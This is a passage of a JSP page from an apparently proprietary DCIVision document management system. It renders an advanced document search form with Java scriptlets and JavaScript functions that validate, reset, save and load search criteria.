<%
/*
 * @(#)SearchDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  SearchDmsDocument.jsp

  This is a SearchDmsDocument page.  It shows the active documents' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.205.2.31 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.dao.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="searchDmsDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>

<%
try{
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "dmsDocumentSearchList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_status", "ITEM_STATUS"},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.profile_name", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.item_size", "ITEM_SIZE"},
                            {"common.columnheader.updater", "UPDATER_ID"},
                            {"common.columnheader.update_date", "UPDATE_DATE"}
                          };

  String[]   SEARCH_PANEL = {"dms.label.search_criteria_detail", "dms.label.search_or", "dms.label.search_word_combination", "dms.label.search_enable_exactmatch"};

  String[][]   SEARCH_OPTIONS = { {MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"common.options.all"), GlobalConstant.AND},
                                  {MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"common.options.one"), GlobalConstant.OR}
                                };

  if(!Utility.isEmpty(session.getAttribute("listDmsDocument"))){
  ListDmsDocumentForm docForm = (ListDmsDocumentForm)session.getAttribute("listDmsDocument");
  searchDmsDocumentForm = docForm;
  }

  List docDetailList = new ArrayList();
  if(!Utility.isEmpty(session.getAttribute("udfDocList"))){
    docDetailList = (List)session.getAttribute("udfDocList");
  }

  /*if(!Utility.isEmpty(session.getAttribute("pageFlag"))){
  session.setAttribute("pageFlag","SearchDmsDocument");
  }else{
  session.setAttribute("pageFlag","SearchDmsDocument");
  }*/

  String pageFlag ="SearchDmsDocument";
  String pageURL ="";

  int     COLUMN_OFFSET = 3;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = searchDmsDocumentForm.getRootID();
  String parentID = searchDmsDocumentForm.getParentID();
  String documentID = request.getParameter("documentID");
  boolean isLightVersion = sessionContainer.getAppContainer()!=null && sessionContainer.getAppContainer().isLightVersion();
  boolean allFolderSelection = false;
  if (searchDmsDocumentForm.getSearchFolder()==null){
    allFolderSelection=true;
  }

  String opMode = searchDmsDocumentForm.getOpMode()==null? "":(String)searchDmsDocumentForm.getOpMode();
  String sFromFolder = searchDmsDocumentForm.getFromFolder();

  SysUserDefinedIndexDAObject sysUserDefinedIndexDAObject =new SysUserDefinedIndexDAObject(sessionContainer, conn);
  List sysUserDefinedIndexList = new ArrayList();

  List workflowRelationshipList = (List)request.getAttribute("workflowRelationshipList");

  List resultList = new ArrayList();
  if (DmsOperationConstant.ATTR_NEST_FILTER_OPERATION.equals(searchDmsDocumentForm.getOpMode())) {
    resultList= request.getAttribute(LIST_NAME)==null? new ArrayList(): (List) request.getSession().getAttribute(LIST_NAME);
  }else{
    resultList= request.getAttribute(LIST_NAME)==null? new ArrayList(): (List) request.getAttribute(LIST_NAME);
  }

  final List udfDetailList = (List) searchDmsDocumentForm.getUdfDetailList();
  if (udfDetailList!=null)
  LogFactory.getLog(this.getClass()).debug("udf Detail is '" + udfDetailList.size()+"'");
  //final List docDetailList = (List) searchDmsDocumentForm.getDocumentDetails();
  //final List docDetailList = (List)request.getAttribute("udfDocList");
  if (docDetailList!=null)
  LogFactory.getLog(this.getClass()).debug("documentDetail Detail is '" + docDetailList.size()+"'");
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  MtmDocumentRelationshipDAObject mtmDocumentRelationshipDAO=new MtmDocumentRelationshipDAObject(sessionContainer,conn);

  String sCurFunctionCode = searchDmsDocumentForm.getCurFunctionCode();
  String advSearchOpt=searchDmsDocumentForm.getAdvSearchOpt();
  if(Utility.isEmpty(advSearchOpt)){
    advSearchOpt=request.getParameter("advSearchOpt");
  }
  String functionType = "";
  if (DmsOperationConstant.KEYWORD_SEARCH_OPERATION.equals(advSearchOpt)) {
    functionType="common.label.keyword_search";
  } else {
    functionType="common.label.advance_search";
  }
  LogFactory.getLog(this.getClass()).debug("functionType= " + functionType);
  String sTifExist = "false";
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  String[] outerCriteriaValue = (String[]) request.getSession().getAttribute("outerCriteriaValue");

  // Default profile display.
  int totalFieldCount = Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT));
  LogFactory.getLog(this.getClass()).debug("totalFieldCount = " + (totalFieldCount));
  boolean enableTiffSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_TIFF_EXPORT);
  boolean enableBulkSearch = com.dcivision.framework.SystemParameterFactory.getSystemParameterBoolean(com.dcivision.framework.SystemParameterConstant.DMS_ENABLE_BULK_SEARCH);

  pageURL ="SearchDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&curFunctionCode="+sCurFunctionCode+"&fromFolder="+sFromFolder;
  pageURL =java.net.URLEncoder.encode(pageURL);

  //document type


  String[][] documentType={{"=== SELECT ===",""},
                           {"Document", DmsDocument.DOCUMENT_TYPE},
                           {"Folder", DmsDocument.FOLDER_TYPE},
               //{"Short Cut", DmsDocument.DOCUMENT_LINK},
                           {"Shortcut", DmsDocument.DOCUMENT_LINK},//joan.xiong update code for bug EIP-1462 by 2007/01/15
                           {"Compound Doc.", DmsDocument.COMPOUND_DOC_TYPE},
                           {"Paper Doc.", DmsDocument.PAPER_DOC_TYPE},
                           {"Email Doc.",DmsDocument.EMAIL_DOC_TYPE}
                          };


  String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);

  if(!Utility.isEmpty(showDefaultProfile)){
    String[] checkCustomFieldArray = (String[]) TextUtility.splitString(showDefaultProfile, "|");
    if(checkCustomFieldArray.length != 3 ){
    showDefaultProfile += "||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
    }
  }else{
    showDefaultProfile ="||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
  }

  String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : searchDmsDocumentForm.getReturnTo();

  String[] proFieldType=(String[])request.getAttribute("proFieldType");
  String[] proFromValue=(String[])request.getAttribute("proFromValue");
  String[] proToValue=(String[])request.getAttribute("proToValue");
  String[] proFieldOption=(String[])request.getAttribute("proFieldOption");
  String[] proFieldExMatch=(String[])request.getAttribute("proFieldExMatch");

%>

<script language="JavaScript">
<!--

PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');
var flowWindow = null;
var clickedFlag = false;
var targetAction = '';

function closeFlowWindow() {
  if (popupWin) {
    popupWin.close();
  }
}

function OpClearFilter(){
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  frm.keyword.value = '';
  frm.documentName.value = '';
  frm.referenceNo.value = '';
  frm.description.value = '';
  //document.searchDmsDocumentForm.outerCriteria.value = '';

  return false;
}

function OpNestFilter() {
  var criteriaSelected = false;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (frm.documentName.value!=''){
     criteriaSelected = true;
  }
  if (frm.effectiveStartDate.value!=''){
     criteriaSelected = true;
  }
  if (frm.effectiveEndDate.value!=''){
    criteriaSelected = true;
  }
  if (frm.referenceNo.value!=''){
    criteriaSelected = true;
  }
  if (frm.description.value!=''){
    criteriaSelected = true;
  }
  if(frm.createDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.createToDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.updateDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.updateToDate.value!=''){
    criteriaSelected = true;
  }

  if(frm.documentType.value!=''){
    criteriaSelected = true;
  }
  <% for (int i = 1; i < totalFieldCount+1; i++) {
       out.println("var userDef"+i+"=eval(\"frm.userDef"+i+".value\");");
       out.println("if (userDef"+i+"!=''){");
       out.println("   criteriaSelected = true; ");
       out.println("}");

       out.println("var userDef"+i+"DataType=eval(\"frm.userDef"+i+"DataType.value\");");
       out.println("if (userDef"+i+"DataType =='"+DmsDefaultProfileSetting.FIELD_TYPE_DATE+"'){");
       out.println("var userDef"+i+"To=eval(\"frm.userDef"+i+"To.value\");");

       out.println("if ((userDef"+i+"!='')||(userDef"+i+"To !='')){");
       out.println("   criteriaSelected = true; ");
       out.println("  }");
       out.println("}");
     }
  %>
  if (frm.userDefinedFieldID.value!=''){
    criteriaSelected = true;
  }
  if (!criteriaSelected){
    alert("<bean:message key='dms.message.criteria_required'/>");
    return false;
  }
 if(frm.documentName.value=='OR'||frm.documentName.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
 if (frm.referenceNo.value=='OR'||frm.referenceNo.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
 if(frm.description.value=='OR'||frm.description.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
  frm.opMode.value="<%=DmsOperationConstant.ATTR_NEST_FILTER_OPERATION%>";
  frm.navMode.value = "<%=GlobalConstant.NAV_MODE_LIST%>";
  frm.advSearchOpt.value="<%=DmsOperationConstant.ATTR_SEARCH_OPERATION%>";
  frm.searchResultOpt.value="";
  frm.submit();
  return false;
}


function OpIndexSearch() {
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  if (!OpIndexSearchValidate(frm)) {
    return false;
  }
  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.cursor.value="";
  frm.curStartRowNo.value = 1;
  frm.opMode.value = "<%=GlobalConstant.NAV_MODE_LIST%>";
  frm.navMode.value = "<%=GlobalConstant.NAV_MODE_LIST%>";
  frm.advSearchOpt.value="<%=DmsOperationConstant.ATTR_SEARCH_OPERATION%>";
  frm.searchResultOpt.value="";
  frm.searchPage.value="";
  loadingTo(null, true);//show loading
  frm.submit();
  return false;
} // end of the 'OpSearch()' function


function OpIndexSearchValidate(frm){
  var folderSelected = false;
  var criteriaSelected = false;
  if(frm.searchFolder){
    if (frm.searchFolder.length) {
      for ( var i=0; i<frm.searchFolder.length; ++i ) {
        if ( frm.searchFolder[i].checked ) { folderSelected = true; }
      }
    } else {
      if (frm.searchFolder.checked == true) {
        folderSelected = true;
      }
    }
  }

  if (!folderSelected) {
    alert("<bean:message key='dms.message.location_required'/>");
    return false;
  }
  if (frm.documentName.value!=''){
     criteriaSelected = true;
  }
  if (frm.effectiveStartDate.value!=''){
     criteriaSelected = true;
  }
  if (frm.effectiveEndDate.value!=''){
    criteriaSelected = true;
  }


  for(var j=0;j<frm.searchPriority.length;j++){
    if(frm.searchPriority[j].checked == true){
      criteriaSelected = true;
      break;
    }

  }

  if (frm.referenceNo.value!=''){
    criteriaSelected = true;
  }
  if (frm.description.value!=''){
    criteriaSelected = true;
  }
  if(frm.createDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.createToDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.updateDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.updateToDate.value!=''){
    criteriaSelected = true;
  }

  if(frm.documentType.value!=''){
    criteriaSelected = true;
  }

  if(frm.creatorID.value!=''){
    criteriaSelected = true;
  }

  <% for (int i = 1; i < totalFieldCount+1; i++) {
       out.println("var userDef"+i+"=eval(\"frm.userDef"+i+".value\");");
       out.println("if (userDef"+i+"!=''){");
       out.println("   criteriaSelected = true; ");
       out.println("}");

       out.println("var userDef"+i+"DataType=eval(\"frm.userDef"+i+"DataType.value\");");
       out.println("if (userDef"+i+"DataType =='"+DmsDefaultProfileSetting.FIELD_TYPE_DATE+"'){");
       out.println("var userDef"+i+"To=eval(\"frm.userDef"+i+"To.value\");");

       out.println("if ((userDef"+i+"!='')||(userDef"+i+"To !='')){");
       out.println("   criteriaSelected = true; ");
       out.println("  }");
       out.println("}");


     }
  %>
  if (frm.userDefinedFieldID.value!=''){
    criteriaSelected = true;
  }
  if (!criteriaSelected){
    alert("<bean:message key='dms.message.criteria_required'/>");
    return false;
  }
 if(frm.documentName.value=='OR'||frm.documentName.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
 if (frm.referenceNo.value=='OR'||frm.referenceNo.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
 if(frm.description.value=='OR'||frm.description.value=='AND'){
    alert("<bean:message key='dms.message.search_criteria'/>");
  return false;
 }
 return true;
}

function OpIndexReset() {

  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  frm.searchOption.selectedIndex = 0;

  frm.documentName.value = '';
  frm.documentNameExactMatch.value = false;

  frm.documentType.value = '';

  frm.effectiveStartDate.value = '';
  frm.effectiveEndDate.value = '';

  frm.createDate.value = '';
  frm.createToDate.value = '';

  frm.updateDate.value = '';
  frm.updateToDate.value = '';

  if (frm.searchPriority.length) {
    for ( var i=0; i<frm.searchPriority.length; i++ ) {
      frm.searchPriority[i].checked = false;
    }
  }

  frm.referenceNo.value = '';
  frm.referenceNoExactMatch.value = false;

  frm.description.value = '';
  frm.descriptionExactMatch.value = false;

  frm.creatorID.value = '';
  frm.dummy_creatorID.value = '';
  frm.creatorExactMatch.value = false;

<%for (int i=0; i<totalFieldCount; i++) {
  out.println("frm.userDef"+(i+1)+".value = ''");

  out.println("if (frm.userDef"+(i+1)+"DataType.value !='"+DmsDefaultProfileSetting.FIELD_TYPE_DATE+"'){" );
  out.println("  frm.userDef"+(i+1)+"ExactMatch.value = false");
  out.println("} else {");
  out.println("  frm.userDef"+(i+1)+"To.value = ''");
  out.println("}");
  }%>

  frm.userDefinedFieldID.value = '';
  frm.outerCriteria.value = '';

  frm.curPageNO.value="";
  frm.lastPageNO.value="";
  frm.pageAmount.value="";
  frm.searchPage.value="";
  frm.cursor.value="";
  frm.curStartRowNo.value = 1;
  frm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  frm.advSearchOpt.value="<%=DmsOperationConstant.SEARCH_RESULT_RESET%>";
  frm.searchResultOpt.value="";
  frm.submit();
  return false;
} // end of the 'OpListReset()' function

function getDetail(){
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  frm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  frm.advSearchOpt.value="";
  frm.submit();
  return false;
}

function hideBlock(b) {
  FindObj(b).style.display = "none";
}

function showBlock(b) {
  FindObj(b).style.display = "block";
}

function checkisNaN(obj){
  var rtnValue = true;
  if(isNaN(obj.value)){
   alert("<bean:message key='errors.dms.numeric_required'/>");
    obj.focus();
    rtnValue = false;
  }
  return rtnValue;
}

function opSaveQuery(){
  var folderSelected = false;
  var criteriaSelected = false;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (frm.searchFolder!=null)   {
    if (frm.searchFolder!=null && frm.searchFolder.length) {
      for ( var i=0; i<frm.searchFolder.length; ++i ) {
        if ( frm.searchFolder[i].checked ) { folderSelected = true; }
      }
    } else {
      if (frm.searchFolder.checked == true) {
        folderSelected = true;
      }
    }
  }

  if ( !folderSelected ) {
    alert("<bean:message key='dms.message.location_required'/>");
    return false;
  }

  if (frm.documentName.value!=''){
     criteriaSelected = true;
  }
  if (frm.effectiveStartDate.value!=''){
     criteriaSelected = true;
  }
  if (frm.effectiveEndDate.value!=''){
    criteriaSelected = true;
  }
  if (frm.referenceNo.value!=''){
    criteriaSelected = true;
  }
  if (frm.description.value!=''){
    criteriaSelected = true;
  }
  if(frm.createDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.createToDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.updateDate.value!=''){
    criteriaSelected = true;
  }
  if(frm.updateToDate.value!=''){
    criteriaSelected = true;
  }
  if (frm.userDefinedFieldID.value!=''){
    criteriaSelected = true;
  }

  if(frm.documentType.value!=''){
    criteriaSelected = true;
  }

  if(frm.creatorID.value!=''){
    criteriaSelected = true;
  }

  if (!criteriaSelected){
    alert("<bean:message key='dms.message.criteria_required'/>");
    return false;
  }
  var oldTarget=frm.target;
  var oldNavMode=frm.navMode.value
  var oldAction =frm.action;
  var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
  var sPopupPath = 'MaintDmsQueryRecord.do';
  var width = 600;
  var height = 240;

  OpenCenteredPopup('', "DCIVisionPopupQuery", width, height, sOptions);
  frm.target = "DCIVisionPopupQuery";
  frm.navMode.value="QUERY.PAGE";
  frm.sortAttribute.value= "";
  frm.sortOrder.value = "";
  frm.opMode.value="NEW.PAGE";
  frm.action = "MaintDmsQueryRecord.do";
  frm.submit();
  frm.target=oldTarget;
  frm.navMode.value=oldNavMode;
  frm.action = oldAction;
}

function opLoadQuery(){

    var sOptions;
    var sPopupPath = 'MaintDmsQueryRecord.do?navMode=L&opMode=L&curFunctionCode=<%=sCurFunctionCode%>';

    var width =  (screen.availWidth - 100).toString();
    var height = (screen.availHeight - 250).toString();

    sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
    sOptions = sOptions + ',width=' + width;
    sOptions = sOptions + ',height=' + height;
    var leftPos = (screen.availWidth-width)/2;
    var topPos = (screen.availHeight-height)/2;
    sOptions = sOptions + ',screenX=0,screenY=0,left='+leftPos+',top='+topPos;

    var appWin = window.open(sPopupPath, "DCIVisionLoadQuery", sOptions);
    if (appWin) {
      appWin.focus();
      appWin.resizeTo(screen.availWidth-100, screen.availHeight-160);
    }
}

function getQueryRecord(queryID){
 for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  frm.queryID.value=queryID;
  frm.opMode.value="QUERY.OPTION";
  //joan.xiong add code 2006/09/20
  frm.advSearchOpt.value="<%=DmsOperationConstant.ATTR_SEARCH_OPERATION%>";
  //joan.xiong add code end
  frm.submit();
  return(false);
}

function changeDocumentType(frm,type,isadd){
	var selectedType = frm.documentType.value;
	if( isadd ){
		if( selectedType.indexOf(type) == -1 ){
			selectedType += type;
		}
	} else {
		if( selectedType.indexOf(type) != -1 ){
			var index = selectedType.indexOf(type);
			selectedType = selectedType.substring(0,index) + selectedType.substring(index+1,selectedType.length);
		}
	}
	frm.documentType.value = selectedType;
	return true; 
}

function checkOrUncheckAllDocumentType(btn){
	var isSelectAll = btn.checked;
	if( isSelectAll ){
		btn.form["documentType"].value = "<%= ListDmsDocumentForm.DEFAULT_DISPLAY_DOC_TYPE %>";
		document.getElementById("checkAllDocumentTypeLabel").innerHTML = "<bean:message key='dms.label.search.unselectall'/>";
	} else {
		btn.form["documentType"].value = "";
		document.getElementById("checkAllDocumentTypeLabel").innerHTML = "<bean:message key='dms.label.search.selectall'/>";
	}
	for(var i = 1 ;i < <%= documentType.length %>; i ++ ){
		var chk = document.getElementById("documentType_"+i);
		if(chk){
			chk.checked = isSelectAll;
		}
	}
	return true;
}

-->
</script>

<!-- Form Section Begin -->
<html:hidden property="prvOpMode" value="<%=opMode%>"/>
<html:hidden property="documentType" value="<%= ListDmsDocumentForm.DEFAULT_DISPLAY_DOC_TYPE %>"/>
<!-- index search Tab DIV-->
<div class="generalHeader">
	<div class="img_left"></div>
  <div class="img_right"></div>
  <div class="button">
    <layout:returnButton className="btn-standard" returnURL='<%=request.getParameter("returnURL")%>'/>
    <%if(!isLightVersion){%>
    <html:colheaderButton label="dms.label.query_save" onClick="return opSaveQuery()"/>
    <html:colheaderButton label="dms.label.load_query" onClick="javascript:opLoadQuery()"/>
    <%}%>
  </div>
</div>

<div id="searchChannelPanel" class="searchChannelPanel">
  <div class="shortcutButtonContainer">
    <html:standardButton label="common.label.search" onClick="return OpIndexSearch()"/>
    <html:standardButton label="common.label.reset" onClick="return OpIndexReset()"/>
  </div>
  <div id="locationFilterPanel">
    <table>
      <tr>
        <td class="formFieldSmall" colspan="2">
          <!-- internationalization -->
          <bean:message key='dms.label.search_internationalization_suggest_front'/>
          <html:select property='searchOption' styleClass="form-style-2-pulldown" style="width:50px">
            <html:options stringArray='<%=SEARCH_OPTIONS%>' convertLabel='false' hasSelect='false' />
          </html:select>
          <bean:message key='dms.label.search_internationalization_suggest_end'/>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall"><bean:message key='dms.label.document_name'/>:</td>
        <td class="formFieldSmall">
          <html:text property='documentName' styleClass="form-style-2-textfield" maxlength='100' onkeypress="javaScript:if(event.keyCode==13){return OpIndexSearch();}" value="<%=searchDmsDocumentForm.getDocumentName()%>"/>
          <html:checkbox property="documentNameExactMatch"/><bean:message key="dms.label.search_enable_exactmatch"/>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall"><bean:message key='dms.label.search_result_in'/>:</td>
        <td class="formFieldSmall">
          <table cellpadding="0" cellspacing="0">
          <tr>
            <td class="form-checkboxOptions-width">
              <html:checkboxOptions wrapperStyleClass="form-style-2-checkbox-wrapper-panel" dbListName='allAccessableRootList' name='searchFolder' nameValue='<%=searchDmsDocumentForm.getSearchFolder()%>' hasSelect='<%=allFolderSelection%>'/>
            </td>
            <td class="form-td-valign-top">
              <input type="checkbox" name="checkOrUncheck" checked="true" onClick="checkOrUncheckFolderAll(this);">
              <label id="checkOrUncheckLabel" name="checkOrUncheckLabel"><bean:message key="dms.label.search.unselectall"/></label>
            </td>
          </tr>
          </table>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall"><bean:message key='dms.label.document_type_short'/>:</td>
        <td class="formFieldSmall">
          <table cellpadding="0" cellspacing="0"><tr>
          <td class="form-checkboxOptions-width"><div class="form-style-2-checkbox-wrapper-panel">
          <%
            for(int k=1;k<documentType.length;k++){
              if(documentType[k][1].equals(searchDmsDocumentForm.getDocumentType())){
          %>
            <nobr><input type="checkbox" id="documentType_<%= k %>" value="<%=documentType[k][1]%>" checked onclick="changeDocumentType(this.form,this.value,this.checked)"><%=documentType[k][0]%></input></nobr><br>
          <%
              }else{ 
                if(documentType[k][1].equals(DmsDocument.COMPOUND_DOC_TYPE)){
                  if (permissionManager.hasAccessRight(SystemFunctionConstant.DMS_COMPOUND_DOCUMENT, "R")){
          %>
             <nobr><input type="checkbox" id="documentType_<%= k %>" value="<%=documentType[k][1]%>" checked onclick="changeDocumentType(this.form,this.value,this.checked)"><%=documentType[k][0]%></input></nobr><br>
          <%
                  } 
                }else if(documentType[k][1].equals(DmsDocument.PAPER_DOC_TYPE)) {
                  if (permissionManager.hasAccessRight(SystemFunctionConstant.DMS_PAPER_DOCUMENT, "R")){
                    if(SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_ENABLE_PAPER_DOCUMENT)){ 
          %>
             <nobr><input type="checkbox" id="documentType_<%= k %>" value="<%=documentType[k][1]%>" checked onclick="changeDocumentType(this.form,this.value,this.checked)"><%=documentType[k][0]%></input></nobr><br>
          <%      
                    }
                  }
                }else{
          %>
             <nobr><input type="checkbox" id="documentType_<%= k %>" value="<%=documentType[k][1]%>" checked onclick="changeDocumentType(this.form,this.value,this.checked)"><%=documentType[k][0]%></input></nobr><br>
          <%
                }
              }//end else
            }//end for
          %>
          </div></td>
          <td class="form-td-valign-top">
            <input type="checkbox" checked="true" onClick="checkOrUncheckAllDocumentType(this);">
            <label id="checkAllDocumentTypeLabel"><bean:message key="dms.label.search.unselectall"/></label>
          </td>
          </tr></table>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall">
          <bean:message key='dms.label.reference_no'/>:
        </td>
        <td class="formFieldSmall">
          <html:text property='referenceNo' size='40' maxlength='30' value="<%=searchDmsDocumentForm.getReferenceNo()%>" styleClass="form-style-2-textfield"/>
          <html:checkbox property="referenceNoExactMatch"/><bean:message key="dms.label.search_enable_exactmatch"/>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall">
          <bean:message key='dms.label.description'/>:
        </td>
        <td class="formFieldSmall">
          <table cellpadding="0" cellspacing="0">
          <tr>
            <td class="form-checkboxOptions-width">
              <html:textarea property='description' cols='40' rows='2' textlimit='255' value="<%=searchDmsDocumentForm.getDescription()%>" styleClass="form-style-2-textarea"/>
            </td>
            <td class="form-td-valign-top">
              <html:checkbox property="descriptionExactMatch" />
              <bean:message key="dms.label.search_enable_exactmatch"/>
            </td>
          </tr>
          </table>
        </td>
      </tr>
    </table>
  </div>

    <div id="profileFilterPanel">
      <table>
      <%
        List userDef = new ArrayList();
        List userDefTo = new ArrayList();
        for (int i = 0; i < totalFieldCount; i++) {
          DmsDefaultProfileSetting setting = ((DmsDefaultProfileSetting)DMS_DEF_PROFILE.get(i));
          if(i==0){
          userDef.add(0,searchDmsDocumentForm.getUserDef1());
          userDefTo.add(0,searchDmsDocumentForm.getUserDef1To());
          //userDef[0] =searchDmsDocumentForm.getUserDef1();
          }else if(i==1){
            userDef.add(1,searchDmsDocumentForm.getUserDef2());
            userDefTo.add(1,searchDmsDocumentForm.getUserDef2To());
          }else if(i==2){
            userDef.add(2,searchDmsDocumentForm.getUserDef3());
            userDefTo.add(2,searchDmsDocumentForm.getUserDef3To());
          }else if(i==3){
            userDef.add(3,searchDmsDocumentForm.getUserDef4());
            userDefTo.add(3,searchDmsDocumentForm.getUserDef4To());
          }else if(i==4){
            userDef.add(4,searchDmsDocumentForm.getUserDef5());
            userDefTo.add(4,searchDmsDocumentForm.getUserDef5To());
          }else if(i==5){
            userDef.add(5,searchDmsDocumentForm.getUserDef6());
            userDefTo.add(5,searchDmsDocumentForm.getUserDef6To());
          }else if(i==6){
            userDef.add(6,searchDmsDocumentForm.getUserDef7());
            userDefTo.add(6,searchDmsDocumentForm.getUserDef7To());
          }else if(i==7){
            userDef.add(7,searchDmsDocumentForm.getUserDef8());
            userDefTo.add(7,searchDmsDocumentForm.getUserDef8To());
          }else if(i==8){
            userDef.add(8,searchDmsDocumentForm.getUserDef9());
            userDefTo.add(8,searchDmsDocumentForm.getUserDef9To());
          }else {
            userDef.add(9,searchDmsDocumentForm.getUserDef10());
            userDefTo.add(9,searchDmsDocumentForm.getUserDef9To());
          }
        %>
        <tr>
          <td class="<layout:classLabel mandatory='<%="Y".equals(setting.getMandatoryFlag())%>'/>">
            <%=setting.getFieldName()%>:
            <input type=hidden name='<%="userDef"+(i+1)+"DataType"%>' value='<%=setting.getFieldType()%>' />
          </td>
          <td class="formFieldSmall">
          <%
            if (DmsDefaultProfileSetting.FIELD_TYPE_INTEGER.equals(setting.getFieldType())) {
          %>
            <html:integer property='<%="userDef"+(i+1)%>' value='<%=(String)userDef.get(i)%>'/>
          <%
            } else if (DmsDefaultProfileSetting.FIELD_TYPE_FLOAT.equals(setting.getFieldType())) {
          %>
            <html:float property='<%="userDef"+(i+1)%>' value='<%=(String)userDef.get(i)%>'/>
          <%
            } else if (DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(setting.getFieldType())) {
          %>
            <html:datepicker styleClass="form-style-2-short-textfield" property='<%="userDef"+(i+1)%>' value='<%=(String)userDef.get(i)%>'/> - <html:datepicker styleClass="form-style-2-short-textfield" property='<%="userDef"+(i+1)+"To"%>' value='<%=(String)userDefTo.get(i)%>'/>
          <%
            } else if (DmsDefaultProfileSetting.FIELD_TYPE_STRING.equals(setting.getFieldType())) {
          %>
            <html:text styleClass="form-style-2-textfield" property='<%="userDef"+(i+1)%>' value='<%=(String)userDef.get(i)%>' size='40' maxlength='255'/>
          <%
            } else if (DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(setting.getFieldType()) || DmsDefaultProfileSetting.FIELD_TYPE_SELECT_HARDCODE.equals(setting.getFieldType())) {
